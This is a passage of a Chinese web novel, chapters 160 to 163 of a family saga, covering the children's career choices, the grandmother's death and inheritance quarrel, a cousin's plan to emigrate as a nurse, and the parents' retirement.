首先每年夏天和冬天都有出国游学的活动,春天和秋天,在国内的春游和秋游也是免不了的。 到了高二,还有一个学期的交换生项目,宁时秋当然也没错过这一项活动。 他选择的学校跟他目标大学在同一个城市,正好提前过去了解一下那边的情况。 刚开始他要出国,赵如月和宁绍明都紧张得不行,他们每天在电视上看新闻,多数都在播报国外哪里哪里又乱起来了,各种冲突、游行的,总担心宁时秋在那边遇到危险,送他上飞机前还各种叮咛嘱咐。 后来宁时秋去的次数多了,又带着他们也出国玩了几趟,看着他能从容安排好全家在国外游玩时的衣食住行,还交到了不少愿意给他提供各种帮助的好朋友,他们慢慢地才没那么担心了。 宁时秋的高中生活丰富多彩,宁时夏后几年的小学生活也不不遑多让,虽然她不喜欢出国,但国内也有不少她感兴趣的活动。 因为学习成绩好,缺几天课并不会影响到宁时夏的学习,每次了解到哪些城市有她喜欢的活动,或者航空、航天展览…… 她只要感兴趣都会亲自去参加。 为着这事,老师没少找家长,偏偏她家长也由着她,每次找家长,她的家长都态度诚恳地认错,然后下次还照样给她请假。 后来看宁时夏的成绩没下降,学校才睁一只眼闭一只眼。 宁时夏初中毕业那一年,中考前所有知道她上学期间多‘任性’的人,都以为她这样跟其他学生不一样,不走寻常路的孩子,大概也会选择跟宁时秋类似的路子——读私立、出国留学。 毕竟大部分高中学习氛围都是比较紧张的,课业重、学习压力大,每天早早起床,很晚才能休息,几乎每个学生都拼了命地学,周末也只有半天的休息时间,节假日恨不得一天都不给学生放假。 也就私立国际高中,才会弄出那么多花里胡哨的活动让学生参加,很符合她一直以来随性请假的做派。 要是她去读私立,成绩依然能保持住,没准学校还非常乐意给她批请假条,鼓励她多参加活动。 然而宁时夏的选择却出乎很多人的预料,她竟然按部就班地根据中考成绩,报了一所省内最好的公立示范性高中。 各个初中的好苗子,高中的老师也是有所耳闻的,毕竟初中老师们有些没准曾经也是高中老师们的同学,聊天的时候免不了说起自己的学生。 更何况是那么特立独行、成绩又好,让老师又爱又恨的刺头。 那所公立学校即将接手新一届高一新生的老师,听老同学们说,那个刺头竟然报了自己学校,不免有些紧张。 倒不是担心她不好管,虽然是刺头,但她和她家长在很多时候都是比较讲道理的,也不是那种爱惹事的刺头,只是有点担心万一宁时夏还跟小学和初中时一样,说请假就请假,难免会让班级上的其他学生心思浮动,这会给老师管理班级带来一定的困扰。 然而更让出乎大部分人预料的是,宁时夏入学后,竟然一改小学和初中时随意请假出去玩的‘任性’。 她家庭条件很好,不像吃过苦的样子,新生军训半个月下来,不叫苦不叫累,还成为了军训优秀标兵。 正式开学后,每天坚持严格按照学校的要求来安排学习。 每天起很早、睡很晚,学习时依旧经历满满,每天傍晚还能腾出时间去运动。 带宁时夏所在班级的老师,在刚知道宁时夏被分到自己班的时候,一边高兴一边发愁,高兴是因为宁时夏学习成绩好,发愁是不知道该把握好一个度,在不打击孩子的情况下,让她稍微收敛着点。 没曾想自己还什么都没做,刺头自己就改了性子,虽然宁时夏某些地方还是表现得有点让人有点摸不着头脑,比如特别重视自己的视力和身高,要是累了,不管老师同学在做什么,她一定会停下,放松眼睛,身体长得太快或者太慢她都会有点紧张,也不知道是担心自己长得太高还是长得太矮。 不过这些跟那会影响班级氛围,提升班主任管理班级难度的事比起来,算不得什么,现在的孩子一个个都有自己的个性,老师们已经习惯了。 她班主任私下都偷着乐,觉得自己这下真是捡到宝了,以宁时夏的成绩,如果能稳住的话,不说清北,一个985前排总少不了。 当然前提是宁时夏不跟她哥一样打算出国。 宁时夏当然是不打算出国的,高二那一年,她报名参加并且通过了‘青少年航空学校’的选拔。 高三时又报名了‘空军招飞’,初选和定选都通过后,干脆利落地选择了军校。 宁时夏毕业那一年,宁时秋也从国外学成归来。 赵如月和宁绍明一股脑地把家里的产业交给他:“这些东西,你们兄妹俩怎么分,你们自己商量去,我跟你爸要退休了。” 宁时秋刚回来,还没能歇两天,就被家里一大堆事务兜头砸过来,人都蒙了。 幸好他假期回家的时候,也没少帮家里干活,于是这会儿一边处理,一边还能分神问:“不该是由父母来分吗?” 赵如月一摊手:“上了年纪,脑子容易糊涂,你们还是自己来吧。”说完两口子真一甩手,乐呵呵旅游去了。 宁时秋:“……” 他们俩明明还不到五十…… 而且这么精,完全没看出来哪里糊涂。 宁时夏在旁边嘎嘎笑,她一点压力都没有,反正她考上的是军校,以后直接进空军开战斗机,军人名下是不能有股份的,根本不用操心家里的事。 等着她哥干活,给她分点零花钱就行。 至于她哥会不会给她分,这个更不用担心了,从小她的钱就让她哥帮忙收着,她哥收得越久,她的那些钱就涨得越多,完全不用担心没钱花,根本花不完! 如果在意家里的产业的话,宁时夏就不会选择读军校了。 宁时秋无奈又嫌弃地白了妹妹一眼:“你倒是自在了,什么都不用管。” 宁时夏过去意思意思给他锤了锤两下肩膀:“能者多劳哈能者多劳!” 说完站起身就要跑,等开学后,她可就不能这么潇洒了。 她学校开学时的‘军训’,可不是别的学校那样踢踢正步、站站军姿什么的就行,得抓紧时间玩儿去! 宁时秋眼疾手快地一把拽住她:“别跑,先把东西分了再说。” “啊?真要分啊?”宁时夏转头,看他神色不像开玩笑,“分给我有什么用?我以后吃喝拉撒睡病埋国家全管,用不着这些。” 最主要是,她的目标不止于航空领域。 等时机成熟,她也想往航天领域努力一把。 以后回家的机会肯定没她哥多,没办法经常陪伴在父母身边,既然不能常回家在父母身边尽孝,那家里的东西,当然是谁能陪伴父母最多,谁多拿了。 以前家里买的房子,爸妈早就说会平分,宁时夏不觉得自己还缺什么,现在房价多贵呀! 不说别的,就家里分给她的羊城和鹏城的房子,已经够她这辈子就算躺平不工作也饿不死,甚至还能过得很好了。 所以家里的厂子,她以后又没法管又不能持股,还不如直接给她哥。 “不能这样,”宁时秋说道,她可以不要,但宁时秋不愿意不给,“虽然你名下不能有股份,但我们可以签个协议,定下以后每年给你的分红。 另外,还有家里的房子,既然厂子和店铺不能分给你,那些房子我以后只要老家房子和我们家在县城住的这套别墅的一半产权,还有省城靠近家里工厂的那一套,其他的不分了,全转到你名下,以后如果我有需要的话,我会自己再买。” 他们家的厂子从一开始本来就在线上线下都有生意。 近些年互联网和线上购物普及,家里的生意非但没有跟别家实体产业一样衰退,反而越来越好,后来又扩建了两次。 接手工厂,相当于接手一只下金蛋的金母鸡,哪怕没有工厂,只凭家里店铺的收益,他想再买房子也不难。 所以宁时秋把那些房子给妹妹非但不会心疼,还觉得给的少了。 毕竟房子是固定资产,变现比较麻烦,能得到的现钱也就是那点房租,跟经营工厂能得到的钱比起来,根本不值一提。 至于老家和县城正在住的这套别墅,两个都是他们长大的地方,如果可以的话,他还是很希望以后一家人可以多一些机会,在这两个地方团聚,所以一人一半,尽量让它们保持原样。 想到可以动的现钱,宁时秋又说道:“晚点我查查家里有多少钱,把能动的钱先往你名下多存一点,要不等你正式入伍,再给那么多钱,就有点麻烦了。” 第 161 章【VIP】 第161章 对于宁时秋把家里能动的现金和存款几乎全给宁时夏这件事,赵如月一点也没感觉到意外。 毕竟上辈子,他可是做得出把自己辛辛苦苦才攒够的、打算要自己出国留学的钱,全都给宁时夏,送她出国逃离原生家庭这种事的人。 当然那时候宁时夏能在国外站稳脚跟,也离不开她自己的努力。 她在国外创业成功后,不但把钱还给了宁时秋,后来还额外给了不少。 赵如月看宁时夏创业那么成功,还以为宁时夏喜欢做这些,然而她那时候一点也不了解自己的女儿。 如果她不总是折腾孩子,也许上辈子宁时夏也不会出国,更不会选择去做能挣很多钱却不那么感兴趣的事。 赵如月不止一次在心里庆幸,自己这辈子没有过多干涉孩子的选择。 如果在孩子选择专业和学校的时候,她又自以为了解地,用自己误会的认知去干涉孩子的选择,让孩子选经管类专业或者商科,肯定又耽误孩子了。 “快到了,”宁绍明的声音把她思绪拉回,“我等会儿先在家里停一下,把后备箱清一清再回老宅那边,要不他们东西多的话,地方可能不够放。” 赵如月长舒一口气说道:“那我在家门口下车,收拾点东西一起带去,就不去县城房子那边拿了,你从老宅出来,提前跟我说一声,我也开一辆车去,我们直接上高速去省城,万一到时候妈要住院,我们就都在那里候着吧。” 黄秀华的身体在这一年里越来越差了,今天宁达给儿女们都打了电话,说黄秀华吃不下去东西了,让他们赶紧回家带她去医院看看。 原本被宁达养得白白胖胖面色红润的黄秀华,在这一年里反复生病,瘦成了皮包骨。 其实大家都有了心理准备,东西都吃不下,她怕是熬不过今年了,很多东西做子女的已经开始准备起来。 只是不管怎么样,医院还是要去的。 接到人后,一行人两辆车上了高速直奔省城而去。 到了省城医院,医生来看过后都摇头,让他们把人带回家,没必要再治了。 挂吊瓶的时候,吊瓶里的液体都不太能进得去身体,滴得很缓慢。 这不是护士故意调特别慢,而是黄秀华的身体已经连这些东西都无法吸收了。 他们无奈,只好又把人带回去,人还没咽气,就在镇卫生院办理了住院,但人没住在医院病房里,而是带了吊瓶回家打。 即使吊瓶里的液体很难进入身体,也一直挂着。 哪怕知道这已经没什么意义,但儿女们总觉得什么都不做也不好,挂着吊瓶算是让自己的心不那么煎熬,好歹可以让自己心里好好受些。 第二天的下午,在镇卫生院上班的宁丹萍来给黄秀华换吊瓶,察觉她没有了呼吸,赶紧跑出去:“奶奶好像走了。” 众人一时间没反应过来,沉默了几瞬,才猛地回过神。 宁绍明对宁丹萍说道:“得去把你们医院负责你奶奶的那个医生叫来看一下,等医生确认过后,才能开始办后面的事。” 宁丹萍忙点头:“我这就去。” 她骑上门口自己为了方便上班买的小电驴,赶紧去医院找医生来看。 回来的时候,家里大人们正在吵架,确切地说,是她妈和二叔二婶在吵。 看到医生到了,他们才勉强暂时休战。 医生看过后,摇头跟他们说:“人确实已经走了,节哀。” 宁绍明按照本地的习俗给了医生一个红包。 金额不多,也就五十块钱,主要是让人家来家里碰了这种事,得给人包个小红包,除除晦气。 医生一走,叶菁跟王海燕站在黄秀华的床边就又吵起来了。 一个说:“妈还没生病之前,早就说过了,以后她的首饰都要留给孙子孙女们,可没说过给老二,你家又不是分不到,你急什么!” 另一个说:“妈本来就承诺过,以后她的私房,全都给绍德,她以前对绍德怎么样,谁都知道,我没必要撒谎骗人!” 婆婆有一个金镯子、一个银镯子、一对金耳环、两对银耳环、还有金银戒指各一个。 有些是婆婆当年的嫁妆,她当初是独生女,虽然家里的田宅带不走,被分给堂兄弟们了,但嫁过来的时候嫁妆在当时可不算少。 太公太婆当初也只有公公一个儿子,家里东西全都是他的,当初他们结婚的时候,还有婆婆当大队长的时候,家里条件还是不错的,所以才能攒下那么些首饰。 现在的金价可不是以前能比的,能换不少钱,叶菁怎么可能不急? 要是按人头分给孙子孙女,老大家和老三家有两个孩子,她家才一个孩子,她家这个还不得公公偏爱,怎么看都是她家吃亏。 还不如豁出去闹一场,哪怕最后给宁绍德兄弟三个平分,也比给孙辈们分对她家有利! 宁达冷眼瞧着她们吵了一会儿,突然猛地拍了一下桌子。 砰的一声,把所有人吓了一跳。 看着公公那难看的脸色,王海燕和叶菁都不敢吭声了。 “我还没死呢,那些东西还轮不到你们做主!” “可是爸……”叶菁还想说什么。 宁达直接就拿出了一张写满了字的纸,打断她的话:“我早打听过了,老婆子去世,她留下的东西我能得一半,剩下的一半才是我和四个子女平分,不给孩子们分,那就按照这个来,闹到法院去,也是这么个分法!” 这个叶菁还真不知道,她一直以为老人去世,东西就是要给儿子们分的,要是老人能提前分,得老人偏心的肯定能分得更多。 最不济也是几个儿子平分,她下意识忽视了公公还活着的问题,想着反正公公现在住在老三的房子里,那就让老三负责好了,老三家那么有钱,当然要多出一点。 结果现在让公公来分,她家分得的更少了…… 一直沉默着没吭声,看着叶菁闹的宁绍德终于站出来训斥了叶菁一句:“我爸还在呢,你跳什么跳得那么欢!还不赶紧老实坐下听长辈的!” 黄秀华当初确实说过以后她的东西,给孙子孙女们平分,但是私下里也确实跟老二夫妻俩说过,以后她的东西都给老二家。 那时候她没想过自己人生的最后十年,是在痴呆中度过。 觉得以后自己没准能有更多的东西,或者那些东西在去世前,肯定都私下支援儿子孙子花用完了。 她跟老二夫妻俩说的时候,是私下悄摸摸地说,宁达不知道。 但她装大方说会把东西给孙子孙女们平分的话时,宁达也在。 现在宁达当然是按照后面这个分法来给孩子们分。 东西都是首饰不好分,就按照现在的金价和银价来估算价值,算一算每个人能拿多少。 想要大件的就按照现在的金价和银价把差额补给拿小件的人。 这次分东西,宁达把宁美婷家的孩子也算进来了。 王海燕和叶菁对此颇有微词,宁美婷也有点不好意思要,她担心自己拿了以后,娘家又闹起来,反而不得安稳,到时候有罪过的就是自己了。 但宁达坚持自己的决定:“要是美婷家的孩子不能分,那老二家的也不能分!” 这下宁绍德和叶菁都跳起来了:“凭什么!” 宁达眼神冷冷地看向他们:“凭什么?你们自己心里清楚!” 接下来的话,他说的时候不再看叶菁,单单盯着宁绍德问:“你自己数数,你妈生病这么些年,你姐每周都来看她,伺候她吃饭洗澡擦身剪手脚的指甲,你来看过她几次?有没有亲手给她喂过一次饭,擦过一次手?!” 可以说,黄秀华能被照顾得这么好,除了宁达本身的照顾外,女儿也出了不少力,尤其是宁时春的孩子出生,王海燕忙着去给儿子带孙子后,不太能顾上老家这边,都是宁美婷回来帮忙得多。 宁绍德被宁达的眼神盯得心头一颤。 不由低下头来,不敢跟父亲对视,一声也不敢再吭。 分首饰的事就这么定下,那些首饰三个孙女、两个孙子加上两个外孙,总共七个人分,其实分到每个人手里也没多少。 哪怕家里条件再普通,差价也都补得起。 相比于大人的算计和争吵,孩子们之间和谐多了。 宁时春当大哥的,让弟弟妹妹们先选。 叶菁不想补钱,就让宁丹洁只要了个小小的银戒指,让其他人补钱给自己。 宁美婷让自家两个儿子拿了母亲以前常戴的金戒指和一对银耳环,留着以后当个念想。 宁时夏对奶奶的遗物不太感兴趣,只意思意思要了剩下的那对银耳环。 宁丹萍要了金耳环。 剩下的银镯子和金镯子,宁时秋跟宁时春商量了一下,剩下的东西他都要了,然后把钱补给他们。 宁时春想着自己对奶奶的遗物也没什么兴趣,以前奶奶最疼宁时秋,他估计是想多留一件做纪念,就答应了。 有宁达坐镇,心里有想法的大人不敢逼孩子太过,几个孩子商量了一下,很快就把东西分好。 这次曾经宁绍贤去世时,年纪还小的孩子们都长大了,晚上也得守灵。 守到下半夜,终于可以稍稍休息一下,宁时夏正准备靠墙眯一会儿。 宁丹洁趁着叶菁和宁绍德都睡得打起呼噜了,悄悄凑过来:“小夏,听说你考上军校了,恭喜你!” 宁时夏用力睁了睁眼睛,小声道:“谢谢二姐。” 接着也不知道该说什么了,宁丹洁比宁时夏大一岁,但宁时夏上学比较早,两个人同一年参加的高考。 今年宁丹洁落榜了,没考上本科,宁时夏听说二伯夫妻俩不知道怎么想的,竟然让她去读大专,学中西面点工艺。 宁时夏看她二姐的表现,显然不是很想学这个专业的样子。 她本以为宁丹洁凑过来是想跟自己聊这个事,但宁时夏猜错了。 宁丹洁接下来说的话,险些让她惊掉下巴。 “我爸妈之前听说现在政策放宽,我妈又怀上了,他们悄悄去港岛查过,是个男孩。” 宁时夏听得目瞪口呆:“他们、他们还要孩子!二伯娘快五十了吧?身体受得了吗?二伯身体也不太好,以后怎么养孩子?” 跟宁时夏惊讶的样子比起来,宁丹洁说起来时,反而神色淡淡的,没什么表情波动:“再有两三年就五十了,至于怎么养……他们说用不着我操心。” “二姐,那你……你怎么办?”当了十几年的独生女,乍然又要有个弟弟,这个极少有人能接受得了。 说到这个话题,宁丹洁脸上的表情终于稍稍变得生动了些。 她神色郑重地看向宁时夏,认真地说:“小夏,能不能请你帮我个忙?” 第 162 章【VIP】 第162章 宁时夏态度也认真起来:“什么事,你说。” “能不能帮我问问你哥,有没有什么花销比较少的出国方式?”宁丹洁犹豫了很久,斟酌了很久,才鼓起勇气问宁时夏这个问题。 宁时秋是她堂哥,可是他们年纪相差比较大,宁时秋比她大了五岁,除了小时候,两家闹掰之前,宁时秋带宁时夏玩会顺便带着她一起,后来他们的交集就不太多了。 而且即使是两家闹掰之前,她也不常回老家,算起来要不是有一层亲戚关系,他们也没什么交情,跟他接触的次数可能还不如街上邻居家的孩子。 所以宁丹洁只能请跟自己关系比较好的宁时夏帮自己问问。 很多信息她确实可以自己上网查询,可网上信息繁杂,真真假假很难分辨,她的试错机会太少,也害怕自己被骗,还不如舍下面子,问问真的在国外生活过几年的堂哥。 她问的事,其实宁时夏也知道,毕竟宁时秋出去好几年,他们经常联系。 聊天的时候,宁时秋提到过自己身边家庭条件不太好,但特别努力的同学。 他的同学通过各种途径出去的都有。 不过现在这个时间和场合,显然不是说那些的好时机。 宁时夏问:“你着急吗?不着急的话,等奶奶丧事过了,我再帮你问问我哥,到时我们找个时间约出来玩再好好聊?” 宁丹洁忙点头道:“好,我不着急的,还要读三年大专呢,至少要拿到学历再出去,谢谢你了小夏。” 黄秀华的葬礼比宁绍贤的更隆重一些,来的人也更多。 因为她是党员,组织上还派人来送花圈悼唁。 等到黄秀华出殡后,宁绍明原本想请宁达搬到自己家去住,好就近照顾,宁美婷担心父亲一个人住,万一晚上摔了或者是遇上什么事,都没人知道,也在一边帮着劝。 宁达却还是想自己住:“我一个人住习惯了,搬去你那里,跟你们生活习惯不一样,我们都不自在,我现在身体不错,还不如让我在住惯了的房子里,继续自己一个人住着,我过得舒心,没准能多活几年。” 宁达他了解自己,有些生活习惯,别说是儿媳妇,连他儿子都看不惯,他可不想去孩子家讨嫌。 远香近臭这话,他觉得很有道理,何必非要住一起,把孩子对他的孝心消磨掉呢。 他坚持要自己住,儿女们都拗不过他,只好随了他的意。 不过宁时夏不放心,特地给宁达买了一台手机,假期哪也不去,就留在老家。 榕溪镇现在是有点名气的景区了,住在景区里,每天吃吃喝喝睡睡玩玩,惬意得很,顺便还能教爷爷用手机。 老人忘性大,有时候宁时夏刚教完,宁达转头就忘了。 来来回回教那么多次还忘记,要是换了急性子一点的孩子,保不齐就要发火了。 但宁时夏记着小时候爷爷带自己时的情形,她小时候耍赖那么多次,爷爷也没有不耐烦过,像是以前爷爷带她上街玩,回家的路上她走到一半不想走就装肚子疼,几乎每次都这样。 难道爷爷真的不知道她是装的吗? 他肯定知道,却还是纵着她,每次都一脸无奈,但每次都会背着她回家。 现在爷爷老了,她长大了,轮到她出力的时候,宁时夏也是耐心十足,一次不会就教两次、三次、四次,反反复复地教。 直接教不管用,就带着他反复使用,把用手机当成一个习惯,用惯了自然就会了。 宁丹洁拜托宁时夏的事,她也没有忘记。 趁着宁时秋有空回老家探望爷爷的时候,就顺便问了他,再结合自己查到的资料以及宁丹洁的个人情况,选出一个最适合她的方法。 她没把宁丹洁约到镇上来,毕竟二伯和二伯娘夫妻俩是什么样子,宁时夏也是知道的。 宁时夏可不想帮了堂姐,却给自己爸妈惹麻烦。 她回了一趟县城,把宁丹洁约到田清的网吧,要了一个隔音比较好的包间。 正好包间里有电脑,宁时夏说的时候,结合电脑,可以让宁丹洁更直观地看到该如何操作。 “我哥说,建议你大专入学后,如果能转专业,尽量换一个专业,最好换成护理相关的专业。” 这个宁丹洁自己也查到了:“我知道的,所以我填志愿的时候,一开始听我爸妈的,让他们降低警惕,以为我很听话,但是在最后关头偷偷修改了第一志愿,其实我收到的是护理专业的录取通知书,那个中西面点工艺的通知书,是我伪造出来骗我爸妈的。” 此时宁丹洁一改在父母面前听话乖巧、唯唯诺诺的样子,流露出被打压多年后触底反弹的叛逆与锐气。 宁时夏对此不太惊讶,她跟宁丹洁因为年龄相差不大,她到县城读书后,两人来往得相对比较多,高中后学校不在同一个城市,离得太远见面的次数才少了些。 很多时候,孩子在同龄人面前跟在父母长辈们面前是完全不一样的。 有些事情,孩子更喜欢跟同龄人说,所以宁丹洁在隐藏在‘乖乖女’标签下叛逆的另一面,宁时夏早就知道了。 有些父母以为自己很了解自己的孩子,实则不然。 尤其是那些热衷于打压孩子的父母,也许某天发现孩子脱离了自己的控制,还会特别惊讶,觉得孩子突然就变了,于是对孩子发出‘你怎么还不如小时候听话懂事’的疑问。 宁丹洁继续说道:“只是我不知道接下来具体的步骤,该如何继续操作。” “确定自己的目的地是哪里了吗?别的不说,语言是第一个必须解决的问题,德国和日本是相对比较便宜的,不过语言上可能难度比较大,毕竟我们以前读的公立学校没有相关课程,不如英语来的方便,以前没学过,你可能得重新学习,要付出更多时间和精力。” 宁丹洁:“我还是想去欧美国家,高中时我一直在努力学英语,”主要是英语也是在学校学起来比较方便的外语,她努力学,老师家长都会很欣慰,不但不会有任何阻碍,还会得到很多支持,“语言方面,我觉得只要继续学习专业相关的词汇和努力练习口语,我应该没有问题的,我高考时别的科目成绩都一般,只有英语是最好的,考了一百多分。” “那非英语为主的国家我全都帮你排除掉了,剩下这些就是你可以考虑的国家。” 宁时夏边说,边给她找出相关的项目网页:“这个是加拿大的,‘家庭护理员试点’项目,工作两年后,可以转永居,最低学历要求刚好是护理专业大专,语言要求和认证要求在这里,都写得很清楚。 还有澳大利亚这个项目,不过澳大利亚这个需要雇主担保,如果你确认要去的话,我哥可以找朋友帮忙,英国这个也是,需要雇主担保。 剩下就是新西兰,护士这个职业被收纳在它的‘快速移民职业清单里’,也是要先工作两年再申请居留。” 她顿了顿,选择把丑话先说在前面:“其实就算网站上没写明,想去这些国家应该都需要雇主担保,你好好考虑去哪里再跟我说,我哥好找人帮忙,不过选好之后就不能变了,要不然换来换去,我哥也难办,到时候你可就只能自己找中介了。” 人情难还,人家愿意帮自己一次就不错了,宁丹洁知道她这么说也是为了自己好,忙点头道:“我明白的,回去会好好考虑再做决定。” 宁时夏说:“是该这样,反正还有三年时间,我们宁愿你考虑得久一点,也不希望你仓促决定后又后悔,这些网页你保存一下,到时候回去自己好好对比,另外最好也深入了解一下不同地方的风土人情、生活习惯,选一个让你过得舒心的地方,等你出去后,钱不够的话,我可以先借你,你出去后一开始住的地方,我哥应该也可以帮忙安排,后面就得靠你自己了。” 有宁时夏这话,宁丹洁更有勇气选择这条路了,至少有人帮忙,不用担心在外面会流落街头没饭吃。 她告别宁时夏后,边走回家边算自己到时候要花多少钱,在读书这三年里,如果有赚钱的机会就尽量多赚点,可不能别人愿意借钱给自己,就真的全都借别人的钱。 回家后,叶菁问她出门那么久干什么去了,宁丹洁没说自己出去找宁时夏,她决定以后明面上远离宁时夏家,让自己家人以为自己跟宁时夏疏远,甚至不再来往了。 要不等她跑路,她父母发疯认为是宁时夏帮着她跑的,再去找人家麻烦,缠上人家,那她可就是恩将仇报了。 宁丹洁面不改色地撒谎:“出去跟我高中同学聚了一下,以后大家都要各奔东西,很难再见面,总得好好道个别。” 听到她这么说,叶菁没怀疑,最近县城这些准大学生们三五成群聚会的不少。 只是又忍不住唠叨:“你们只是毕业,又不是以后一辈子见不着,以前跟你玩得好的那些同学,不是有几个考得不错?现在维持联系的方法那么多,你以后多跟人家联络联络感情,这些以后都是你的人脉。” 宁丹洁悄悄撇嘴,各自考上不同的学校,以后生活交际圈子都不一样了,不一定还能有共同语言,除非特别特别好的朋友,不然联络又有什么用呢? 人脉?能付出同等价值东西的人,才会互相成为人脉。 心里不以为意,面上却没表现出来,只一副老实受教的样子:“知道了,我没忘记保存她们的联系方式。” “这就对了,我从工业园那边带回来的手工有点多,刚好你放假没事干,帮我做点活,我最近一直反胃想吐,再不赶紧做完,耽误工期又要扣钱了。” 宁丹洁应了一声,走到放满乱七八糟工具和材料的小桌前坐下,沉默而熟练地开始做手工活。 类似的手工活,她从小学时就开始做了,到现在已经做得很娴熟,但手工费一分没拿到过。 有时候她也会忍不住在心里想,父母在自己身上花的钱,扣掉这么多年自己给家里做手工挣的钱,还剩多少? 不会他们还倒赚一些吧? 宁时夏跟宁丹洁道别后,回到县城的家,没看到有人在,给妈妈打电话,才知道他们去省城了。 赵如月这会儿正在苏胜楠给她在公司附近安排的宿舍。 她住的这栋宿舍楼是公司自己买地,刚建成没多久的楼。 一到六层是公司办公的地方,再往上七到九层是公司的培训和实操基地,九楼往上才是宿舍。 除了公司管理层,一般住的都是刚入职来省城培训的新员工,新员工可以一直住到培训期结束。 赵如月这间是固定给她住的,原本把家里的产业全交给宁时秋管之后,赵如月打算跟宁绍明回镇上养老来着。 她都想好了,把镇上的厨子调到县城,镇上的餐饮店重新由她和宁绍明管。 每天九点半开门,把东西卖完就关门,在镇上不管是到处溜达,找老朋友唠嗑、约着出去旅游,还是夫妻俩一起窝在家里哪也不去,一起看电视、看电影、看书、玩手机、玩电脑、玩游戏都行。 可惜他们退休似乎确实有点太早了,玩得好的同龄人几乎都还在为孩子奋斗房车,根本闲不下来。 赵如月只好又给自己找点事干。 刚好苏胜楠这里还在继续往别的城市扩张业务,对员工的需求量依旧很大。 苏胜楠知道宁时秋回国后,赵如月终于腾出手来了,赶忙来请她去公司帮忙。 于是赵如月就又做回了自己熟悉的工作之一:员工培训。 这些年,她忙着工厂的事,但自己喜欢且擅长的维修也没落下,偶尔也会回来给苏胜楠公司的员工做几个针对性培训。 或者回自己那曾经的电子专营店,现在已经业务升级成营业厅兼手机专卖店的那两家店,帮忙解决一些棘手的维修问题。 如今重新做回这个培训工作,她仍旧游刃有余。 宁绍明不想离赵如月太远,也在省城买了个小铺面。 每天开张几个小时,卖完东西就关门,回家做做饭、种种菜、打扫打扫卫生,然后每天雷打不动地去给赵如月送饭,日子过得也算惬意充实。 【完结】 第163章 赵如月为了把家里的产业扔给宁时秋管,四十多岁的时候就宣布自己要退休。 结果一直帮助苏胜楠培训员工,五十岁的时候,帮她培养出一大批技术过硬的维修师傅,还有好些足以当维修培训室的人才,才算是真正退休了。 决定真的回镇上养老。 到这个年纪,比四十多岁的时候好点,他们的同龄人有些也要退休了,到时他们不怕找不到人唠嗑。 宁时秋抽空开车来帮他们搬东西。 车上宁时秋有些无奈地说:“你们继续留在省城多好,我每天下班回家还能看到你们,省城的医疗条件也更好,回镇上,万一你们有点什么事,我都没法马上赶回去。” 赵如月不信:“可别说大话了,你工作那么忙,就算我们留在省城,你也没时间每天准时回家,一个月能待在省城几天都还说不准,后天又要出差去了吧?” 宁时秋避重就轻:“我也不是经常出差。” “这话骗骗爸妈就得了,可别把你自己也骗了。”赵如月毫不犹豫地揭穿他,“你现在把家里的产业发展得这么大,哪有那么多时间回家看我们,我们也不希望你赶来赶去的,平时有时间你多休息才是正经,每年过年过节能抽空回趟老家就行。” 宁绍明点头附和道:“我跟你妈想的一样,我们也没到七老八十的年纪,还能照顾自己,你不用总惦记我们,平时多注意休息,千万别累着。” 他们创办了秋夏餐饮店、秋夏面包店,还有后来的秋夏食品加工厂。 交到宁时秋手上后,如今俨然被他发展成一个多面发展的集团,现在涉足投资的行业已经不只在食品领域。 宁时秋很小的时候就对金融、经济、投资这些事情感兴趣,会主动去搜集书籍资料、学习相关的知识,现在即使工作量确实不小,他处理起来也是游刃有余。 虽然确实经常需要出差,但其实并没觉得有多累。 只是这世界上还有一种累,叫爸妈觉得你累。 心知自己劝不动他们,宁时秋只好暂时把这事放下,想着等小夏休年假回来的时候,再让她帮着一起劝。 小夏比较会耍赖,到时候她一劝,没准就成了。 “前几天小夏不是给你们打电话了,她有没有说什么时候能休年假?” 说到这个,赵如月忍不住叹气:“小夏说今年有特殊任务,没假期了,她单位性质特殊,我们也没敢多问,她没给你打电话?” 宁时秋说:“打了,我那时候正在洗澡,手机没放身边,没接到她的电话,回拨回去没打通。” 赵如月有点担心是那种比较棘手和危险的任务,只是心中的担忧没在面上表现出来,只说道:“希望她任务能顺利,明年再回来也行。” 只是宁时夏今年还能打电话回来,跟家里说一声要执行任务,第二年开始却了无音讯,只有她单位的人打电话来,跟他们说仍然在执行特殊任务,所以没办法给他们打电话,不过宁时夏一切安好,让他们放心。 可不能得到孩子确切的音讯,当父母的怎么能真正放心得下。 宁时夏参加工作好几年,以往每年有年假都会回来探望家人,尤其是爷爷和外公外婆,老人们都上了年纪,看一眼少一眼,所以她是宁愿不出去玩,也要回来探望他们的。 这还是宁时夏第一次连续两年都没回来。 宁时秋也有些担心,不过他想到宁时夏从小的梦想,隐约意识到什么,现在宁时夏也许在参加航天员选拔,甚至有可能已经通过了,这样的事,在国家公布之前,也是要对家里人保密的。 但是宁时秋不能确定自己的猜测百分之百正确,当然也就不好跟家里人说。 只隐晦地跟父母说:“小夏肯定没什么事的,要是真有事,她单位的领导不可能不告诉她的家人。” 赵如月和宁绍明没听懂他话里隐含的意思,但明白他说的这个道理,可想念女儿的心他们自己也控制不住。 宁时秋只好抽空带他们出去旅游散散心:“你们以前不是总说,等你们退休后,就到处去玩吗?还说要带爷爷和外公外婆一起去,现在好不容易真的退休了,要不趁着爷爷和外公外婆还能动,抓紧时间去玩几回?” 赵如月体谅儿子的孝心,又想起以前说要带老人们去首都,可后来老人们没去成,一拖就把这事给拖忘了。 “也行,我们带他们去首都吧?要是到时候他们玩得开心,再带他们去别的地方也玩玩。” 看父母都愿意去,宁时秋松了口气,开始做起旅游攻略,不过这攻略他也就是简单做了一个,专业的事情还是找了专业的人。 详细的行程安排他特地找了口碑最好的旅行社私人订制,那些需要提前预约的门票、酒店、讲解、地陪等等,旅行社全都给安排好了。 一行人很快出发,赵如月和宁绍明陪着老人们玩了一圈,时间和精力被各种事情占据,总算把注意力从女儿的事情上转移了。 旅行的最后一天,该玩的地方都玩过,该吃的东西都尝试过,没安排什么行程。 赵如月就跟宁绍明两个人一起出门,漫无目的地到处闲逛。 走进一个巷子,看到有开在巷子里的小店,感觉不错就进去坐坐。 刚坐下,这家店的老板就有些抱歉地从里面出来说:“不好意思,我们店里突然跳闸,维修师傅正在抢修,可能会有点耽误出餐时间,不知道二位着不着急用餐,如果着急的话可以去隔壁那家,他们家味道也不错的,如果不着急,可以先喝点饮品稍微等等,我们会尽量努力减少让你们等待的时间。” 赵如月刚好不着急,而且对这家的饮品挺感兴趣,就跟宁绍明一人点了一杯不同的,坐在那里慢慢喝。 十几分钟后,店里的电路故障修好了,一个穿着工装的师傅从里面出来。 